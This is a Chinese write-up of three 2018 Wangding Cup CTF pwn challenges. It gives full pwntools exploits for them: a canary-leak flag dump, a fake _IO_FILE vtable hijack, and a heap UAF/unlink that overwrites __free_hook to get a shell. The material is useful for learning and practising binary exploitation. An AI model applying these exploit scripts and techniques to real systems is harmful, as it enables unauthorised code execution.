2018-网鼎杯 第一场 pwn writueup

网鼎杯第一场wp

  • guess

    防护机制:

    image.png

开启了canary和NX

简单的看了下反编译的逻辑

 HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0, a2);
  if ( HIDWORD(stat_loc.__iptr) == -1 )
  {
    perror("./flag.txt");
    _exit(-1);
  }
  read(SHIDWORD(stat_loc.__iptr), &buf, 0x30uLL);
  close(SHIDWORD(stat_loc.__iptr));
  puts("This is GUESS FLAG CHALLENGE!");

发现它将flag读取到栈上了,结合它开的防护机制NX,可以想到smash the stack这种攻击手法,利用 __stack_chk_fail 来打印想要的信息,因为flag在栈上,所以要先泄露出栈的地址,然后将argv[0]覆盖成flag的地址,通过触发 _stack_chk_fail来将flag打印出来。栈的地址可以通过libc中的一个变量 _environ变量泄露出来。因为在libc中的全局变量 environ储存着该程序环境变量的地址,而环境变量是储存在栈上的,所以可以泄露栈地址,进而计算出flag在栈上的地址。

 while ( 1 )
  {
    if ( v6 >= v7 )
    {
      puts("you have no sense... bye :-) ");
      return 0LL;
    }
    v5 = sub_400A11();
    if ( !v5 )
      break;
    ++v6;
    wait((__WAIT_STATUS)&stat_loc);
  }
  puts("Please type your guessing flag");
  gets(&s2);
  if ( !strcmp(&buf, &s2) )
    puts("You must have great six sense!!!! :-o ");
  else
    puts("You should take more effort to get six sence, and one more challenge!!");
  return 0LL;

可以发现程序只能输入三次,并且这里有gets函数,存在栈溢出,所以可以触发 _stack_chk_fail。因为只能输入三次,所有要构造好输入

思路:

  1. 先泄露libc地址
  2. 通过libc中的 __enviorn 变量泄露出栈地址
  3. 利用 _stack_chk_fail 打印出flag

几个地址:

argv[0] = 0x7fffffffde88
buf_add = 0x7fffffffdd60
flag = 0x7fffffffdd30
offset = 0x128
flag_offset = 0x158

exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import*
context.log_level = 'debug'
p = remote('106.75.90.160',9999)
elf = ELF('./GUESS')

log.info('leak libc')
p.recv()
payload = 'a'*0x128
payload += p64(0x602048)
p.sendline(payload)

p.recvuntil('detected ***: ')
leak = u64(p.recv(6)+ '\x00'*2)
print hex(leak)
libc = leak - 0x20740
env_addr = libc + 0x3c6f38
print "env _add -->[%s]"%hex(env_addr)

log.info('leak stack address')
payload1 = 'a'*0x128 + p64(env_addr)
p.recvuntil('r guessing flag')
p.sendline(payload1)
p.recvuntil('detected ***: ')
leak_stack = u64(p.recv(6)+ '\x00'*2)
print "stack --> address[%s]"%hex(leak_stack)

log.info('show the flag')
stack_add = leak_stack
payload2 = 'a'*0x128 + p64(stack_add - 0x168)
p.recv()
p.sendline(payload2)
p.recv()
p.interactive()

  • blind

    防护机制:

image.png

开启了Full RELRO,Canary和NX,所以改got表的操作就不可行了

简单分析下程序的逻辑

程序一共有三个功能:

  1. new 分配一个大小为0x68的chunk,并读入content
  2. change 编辑chunk的内容
  3. release 将chunk free 掉,但没清空指针,这里存在uaf漏洞,同时这个操作只能做三次

同时程序存在system函数

image.png

​ 同时分配的chunk的地址都存储在bss段的一个数组中

image.png
因为不可以修改got表,同时没有可以泄露地址的地方,所以改malloc hook那些操作也做不了。
但是它又存在system函数,在bss段上存在 stdin,stderr,stdout等_IO_FILE结构体的指针,
所以想到的是修改文件流的指针,使其指向伪造的IO_FILE结构体来getshell。
因为程序存在uaf漏洞,所以可以通过fastbins attck 分配到包含全局变量数组的chunk,就可以实现任意地址读写。
大致思路是:
1. 利用fastbins attack控制全局变量数组
2. 向bss段写入伪造的_IO_FILE_plus 结构体 以及 vtable数组
3. 修改stdout指针指向伪造的_IO_FILE_plus结构体
  • fastbins attack 控制 ptr数组

    new(0,'a\n')
    new(1,'b\n')
    delete(0)
    change(0,p64(0x60203d)+'\n')
    payload = 'a'*0x13 + p64(0x602020)+p64(0x602090)+ p64(0x602090+0x68)+ p64(0x602090+0x68*2) + p64(0x602090+0x68*3)+'\n'
    new(2,'a\n')
    new(3,payload)
    
  • 伪造 stdout结构体

    gef➤  p  *(struct _IO_FILE_plus *) stdout
    $2 = {
      file = {
        _flags = 0xfbad2887, 
        _IO_read_ptr = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", 
        _IO_read_end = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", 
        _IO_read_base = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", 
        _IO_write_base = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", 
        _IO_write_ptr = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", 
        _IO_write_end = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", 
        _IO_buf_base = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", 
        _IO_buf_end = 0x7f5b6742a6a4 <_IO_2_1_stdout_+132> "", 
        _IO_save_base = 0x0, 
        _IO_backup_base = 0x0, 
        _IO_save_end = 0x0, 
        _markers = 0x0, 
        _chain = 0x7f5b674298e0 <_IO_2_1_stdin_>, 
        _fileno = 0x1, 
        _flags2 = 0x0, 
        _old_offset = 0xffffffffffffffff, 
        _cur_column = 0x0, 
        _vtable_offset = 0x0, 
        _shortbuf = "\n", 
        _lock = 0x7f5b6742b780 <_IO_stdfile_1_lock>, 
        _offset = 0xffffffffffffffff, 
        _codecvt = 0x0, 
        _wide_data = 0x7f5b674297a0 <_IO_wide_data_1>, 
        _freeres_list = 0x0, 
        _freeres_buf = 0x0, 
        __pad5 = 0x0, 
        _mode = 0xffffffff, 
        _unused2 = '\000' <repeats 19 times>
      }, 
      vtable = 0x7f5b674286e0 <_IO_file_jumps>
    }
    

    伪造的IO_FILE_plus结构体中的flags要满足下面的条件

    flag&8 = 0 and flag &2 =0 and flag & 0x8000 != 0
    所以flag的值可以为0xfbad8000 或者0xfbad8080
    

    其他的根据原本的结构体伪造就行了

    fake_struct = p64(0x00000000fbad8000) + p64(0x602060)*7 + p64(0x602061) + p64(0)*4  
    fake_struct += p64(0x602060) + p64(0x1)  + p64(0xffffffffffffffff)+ p64(0) 
    fake_struct += p64(0x602060) + p64(0xffffffffffffffff) + p64(0) + p64(0x602060) 
    fake_struct += p64(0)*3 + p64(0x00000000ffffffff) + p64(0) 
    fake_struct += p64(0)+ p64(0x602090 + 0x68*3)
    fake_vtable = p64(system_addr)*10 + '\n'
    

    伪造后的结构体

    gef➤  p *(struct _IO_FILE_plus *)0x602090
    $1 = {
      file = {
        _flags = 0xfbad8000, 
        _IO_read_ptr = 0x602060 "  `", 
        _IO_read_end = 0x602060 "  `", 
        _IO_read_base = 0x602060 "  `", 
        _IO_write_base = 0x602060 "  `", 
        _IO_write_ptr = 0x602060 "  `", 
        _IO_write_end = 0x602060 "  `", 
        _IO_buf_base = 0x602060 "  `", 
        _IO_buf_end = 0x602061 " `", 
        _IO_save_base = 0x0, 
        _IO_backup_base = 0x0, 
        _IO_save_end = 0x0, 
        _markers = 0x0, 
        _chain = 0x602060, 
        _fileno = 0x1, 
        _flags2 = 0x0, 
        _old_offset = 0xffffffffffffffff, 
        _cur_column = 0x0, 
        _vtable_offset = 0x0, 
        _shortbuf = "", 
        _lock = 0x602060, 
        _offset = 0xffffffffffffffff, 
        _codecvt = 0x0, 
        _wide_data = 0x602060, 
        _freeres_list = 0x0, 
        _freeres_buf = 0x0, 
        __pad5 = 0x0, 
        _mode = 0xffffffff, 
        _unused2 = '\000' <repeats 19 times>
      }, 
      vtable = 0x6021c8
    }
    
  • 在bss段写入伪造的fake_struct和fake_vtable

    change(1,fake_struct[:0x68])
    change(2,fake_struct[0x68:0xd0])
    change(3,fake_struct[0xd0:]+'\n')
    change(4,fake_vtable+'\n')
    
  • 修改stdout指针指向伪造的fake_struct

    change(0,p64(0x602090)+'\n')
    

    最终成功getshell

    完整exp:

    from pwn import *
    context.log_level='debug'
    
    #p=remote('106.75.20.44', 9999)
    p = process('./blind')
    elf = ELF('./libc.so.6')
    
    def new(idx,content):
        p.sendline('1')
        p.recvuntil('Index:')
        p.sendline(str(idx))
        p.recvuntil('Content:')
        p.send(content)
        p.recvuntil('Choice:')
    
    def change(idx,content):
        p.sendline('2')
        p.recvuntil('Index:')
        p.sendline(str(idx))
        p.recvuntil('Content:')
        p.send(content)
        p.recv()
    
    def delete(idx):
        p.sendline('3')
        p.recvuntil('Index:')
        p.sendline(str(idx))
        p.recvuntil('Choice:')
    
    system_addr =  0x4008E3
    
    new(0,'a\n')
    new(1,'b\n')
    delete(0)
    change(0,p64(0x60203d)+'\n')
    payload = 'a'*0x13 + p64(0x602020)+p64(0x602090)+ p64(0x602090+0x68)+ p64(0x602090+0x68*2) + p64(0x602090+0x68*3)+'\n'
    new(2,'a\n')
    new(3,payload)
    
    
    fake_struct = p64(0x00000000fbad8000) + p64(0x602060)*7 + p64(0x602061) + p64(0)*4  
    fake_struct +=  p64(0x602060) + p64(0x1)  + p64(0xffffffffffffffff) + p64(0)
    fake_struct += p64(0x602060) + p64(0xffffffffffffffff) + p64(0) + p64(0x602060) 
    fake_struct +=  p64(0)*3 + p64(0x00000000ffffffff) + p64(0)*2 +  p64(0x602090 + 0x68*3)
    fake_vtable = p64(system_addr)*10
    
    change(1,fake_struct[:0x68])
    change(2,fake_struct[0x68:0xd0])
    change(3,fake_struct[0xd0:]+'\n')
    change(4,fake_vtable+'\n')
    change(0,p64(0x602090)+'\n')
    
    p.interactive()
    

下面是比赛时没做出来的

babyheap

防护机制:

image.png

防护机制开启了full RELRO,所以修改got表函数的内容就不可行

简单的分析下程序逻辑:

有四个功能:

  1. alloc:分配一个大小为0x20的chunk,并向里面写入内容
  2. edit:对chunk进行编辑,总共只能编辑三次
  3. show: 打印chunk的内容,这里可以进行信息泄露
  4. free:将chunk free掉,这里没将指针置为0,存在UAF漏洞

大致思路:

这题中有show函数,所以应该要泄露出libc的地址,然后改malloc_hook或者free_hook 来getshell
但是因为限定malloc的大小只能是0x20,所以要先想怎么产生一个unsorted bins中的chunk
这里的思路是利用UAF漏洞 ,进行fastbins attack 分配包括下一个chunk size字段的chunk。
就可以修改下一个chunk的size字段为0xa1,然后free掉这个chunk,这样就可以获得unsorted bins 的chunk了。
再利用show功能就可以泄露出来libc的地址,这里要注意chunk overlap的影响。
因为在bss段存在着存储chunk地址的全局变量数组,所以可以利用unlink来修改free_hook的内容
  • 泄露heap地址

    alloc(0,'aaaa\n')
    alloc(1,'bbbb\n')
    
    free(1)
    free(0)
    show(0)
    leak_heap = u64(p.recvline().strip('\n').ljust(8,'\x00'))
    heap_base = leak_heap - 0x30
    
  • fastbins attack 控制chunk1的size字段

    #先要在chunk0上伪造好size字段
    alloc(0,p64(0x31)*4)
    alloc(1,'bbbb\n')
    alloc(2,'cccc\n')
    alloc(3,'dddd\n')
    alloc(4,'eeee\n')#防止free掉的chunk和topchunk合并
    
    fake_chunk = heap_base + 0x20
    edit(0,p64(fake_chunk)+'\n')
    alloc(5,'aaaa\n')#chunk5
    alloc(6,p64(0)+p64(0xa1)+'\n')
    
image.png
  • 泄露libc地址

    free(1)
    show(1)
    leak = u64(p.recvline().strip().ljust(8,'\x00'))
    main_arena = leak - 0x58
    libc_base = main_arena - libc.symbols['__malloc_hook'] -  0x10
    print "libc base address -->[%s]"%hex(libc_base)
    free_hook = libc_base + libc.symbols['__free_hook']
    print "free_hook -->[%s]"%hex(free_hook)
    one_gadget = libc_base + 0xf1147
    print "one_gadget -->[%s]"%hex(one_gadget)
    
  • 利用unlink修改free_hook为one_gadget

    #这里unlink的chunk要在一开始就构造好,在free掉0xa1大小的chunk时就要进行unlink
    #这里利用的是unlink向前合并,所以要伪造要进行unlink的下下个chunk的prev_size字段以及size字段
    #在这里需要检查 next chunk 是否是空闲的(通过下下个 chunk 的flag的最低位去判断),在找下下个chunk(这里的下、包括下下都是相对于大小为0xa1的chunk而言的)的过程中,都是通过当前chunk地址加上size大小找到的
    #所以一开始要分配5个chunk
    alloc(0,p64(0x31)*4)
    alloc(1,'b'*0x20)#chunk1  size will change -->0xa1
    alloc(2,'c'*0x20)
    alloc(3,p64(0x90)+'\n')
    alloc(4,p64(0) + p64(0x31) + p64(0x602080 - 0x18) + p64(0x602080 - 0x10))#chunk2
    alloc(5,p64(0x30)+p64(0x30)+'\n')#chunk5
    #在chunk2中伪造要unlink的fake_chunk
    #在chunk5中伪造prev_size以及size字段
    ---------------------------------------------------------------------------------------
    free(1)
    
    edit(4,p64(free_hook)+'\n')
    edit(1,p64(one_gadget)+'\n')
    

    unlink前堆的布局

    gef➤  x/40gx 0x0000000001a1a000
    0x1a1a000:    0x0000000000000000  0x0000000000000031
    0x1a1a010:    0x0000000001a10061  0x0000000000000000
    0x1a1a020:    0x0000000000000031  0x0000000000000031
    0x1a1a030:    0x0000000000000000  0x00000000000000a1<--target chunk
    0x1a1a040:    0x0000000000000000  0x6262626262626262
    0x1a1a050:    0x6262626262626262  0x0062626262626262
    0x1a1a060:    0x0000000000000000  0x0000000000000031
    0x1a1a070:    0x6363636363636363  0x6363636363636363
    0x1a1a080:    0x6363636363636363  0x0063636363636363
    0x1a1a090:    0x0000000000000000  0x0000000000000031
    0x1a1a0a0:    0x0000000000000090  0x0000000000000000
    0x1a1a0b0:    0x0000000000000000  0x0000000000000000
    0x1a1a0c0:    0x0000000000000000  0x0000000000000031
    0x1a1a0d0:    0x0000000000000000  0x0000000000000031<--unlink chunk
    0x1a1a0e0:    0x0000000000602068  0x0000000000602070
    0x1a1a0f0:    0x0000000000000000  0x0000000000000031
    0x1a1a100:    0x0000000000000030  0x0000000000000030<--fake size
    0x1a1a110:    0x0000000000000000  0x0000000000000000
    0x1a1a120:    0x0000000000000000  0x0000000000020ee1
    0x1a1a130:    0x0000000000000000  0x0000000000000000
    
    

    unlink后堆的布局

    gef➤  x/40gx 0x0000000001a1a000
    0x1a1a000:    0x0000000000000000  0x0000000000000031
    0x1a1a010:    0x0000000001a10061  0x0000000000000000
    0x1a1a020:    0x0000000000000031  0x0000000000000031
    0x1a1a030:    0x0000000000000000  0x00000000000000d1<--
    0x1a1a040:    0x00007f68429d7b78  0x00007f68429d7b78
    0x1a1a050:    0x6262626262626262  0x0062626262626262
    0x1a1a060:    0x0000000000000000  0x0000000000000031
    0x1a1a070:    0x6363636363636363  0x6363636363636363
    0x1a1a080:    0x6363636363636363  0x0063636363636363
    0x1a1a090:    0x0000000000000000  0x0000000000000031
    0x1a1a0a0:    0x0000000000000090  0x0000000000000000
    0x1a1a0b0:    0x0000000000000000  0x0000000000000000
    0x1a1a0c0:    0x0000000000000000  0x0000000000000031
    0x1a1a0d0:    0x0000000000000000  0x0000000000000031<--
    0x1a1a0e0:    0x0000000000602068  0x0000000000602070
    0x1a1a0f0:    0x0000000000000000  0x0000000000000031
    0x1a1a100:    0x00000000000000d0  0x0000000000000030
    0x1a1a110:    0x0000000000000000  0x0000000000000000
    0x1a1a120:    0x0000000000000000  0x0000000000020ee1
    0x1a1a130:    0x0000000000000000  0x0000000000000000
    
    
image.png

可以看到此时的chunk1在数组存储位置的内容已经被修改为free_hook了,在向chunk1写入就可以修改free_hook的内容了

  • 完整exp:

    from pwn import*
    context.log_level = 'debug'
    
    def alloc(idx,t):
        p.recv()
        p.sendline('1')
        p.recv()
        p.sendline(str(idx))
        p.recv()
        p.send(t)
        
    def edit(idx,t):
        p.recv()
        p.sendline('2')
        p.recv()
        p.sendline(str(idx))
        p.recv()
        p.send(t)
    
    def free(t):
        p.recv()
        p.sendline('4')
        p.recv()
        p.sendline(str(t))
    
    def show(idx):
        p.recv()
        p.sendline('3')
        p.recv()
        p.sendline(str(idx))
    
    #p = remote('106.75.67.115', 9999)
    p = process('./babyheap')
    elf = ELF('./babyheap')
    libc = ELF('./libc.so.6')
    
    sleep(5)
    alloc(0,p64(0x31)*4)
    alloc(1,'b'*0x20)
    alloc(2,'c'*0x20)
    alloc(3,p64(0x90)+'\n')
    alloc(4,p64(0) + p64(0x31) + p64(0x602080 - 0x18) + p64(0x602080 - 0x10))
    alloc(5,p64(0x30)+p64(0x30)+'\n')
    
    log.info("******************leak heap base address******************")
    free(1)
    free(0)
    show(0)
    leak_heap = u64(p.recvline().strip('\n').ljust(8,'\x00'))
    heap_base = leak_heap - 0x30
    print "heap base address-->[%s]"%hex(heap_base)
    chunk2_add = heap_base+0x20
    
    log.info("******************leak  libc adress******************")
    edit(0,p64(chunk2_add)+'\n')
    alloc(6,'a\n')
    alloc(7,p64(0)+p64(0xa1)+'\n')
    free(1)
    show(1)
    leak = u64(p.recvline().strip().ljust(8,'\x00'))
    main_arena = leak - 0x58
    libc_base = main_arena - libc.symbols['__malloc_hook'] -  0x10
    print "libc base address -->[%s]"%hex(libc_base)
    free_hook = libc_base + libc.symbols['__free_hook']
    print "free_hook -->[%s]"%hex(free_hook)
    one_gadget = libc_base + 0xf1147
    print "one_gadget -->[%s]"%hex(one_gadget)
    
    log.info("******************unlink******************")
    edit(4,p64(free_hook)+'\n')
    edit(1,p64(one_gadget)+'\n')
    
    free(1)
    p.interactive()
    

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 162,475评论 4 372
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 68,744评论 2 307
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 112,101评论 0 254
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 44,732评论 0 221
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 53,141评论 3 297
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 41,049评论 1 226
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 32,188评论 2 320
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,965评论 0 213
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,716评论 1 250
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,867评论 2 254
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,341评论 1 265
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,663评论 3 263
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,376评论 3 244
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,200评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,990评论 0 201
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 36,179评论 2 285
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,979评论 2 279

推荐阅读更多精彩内容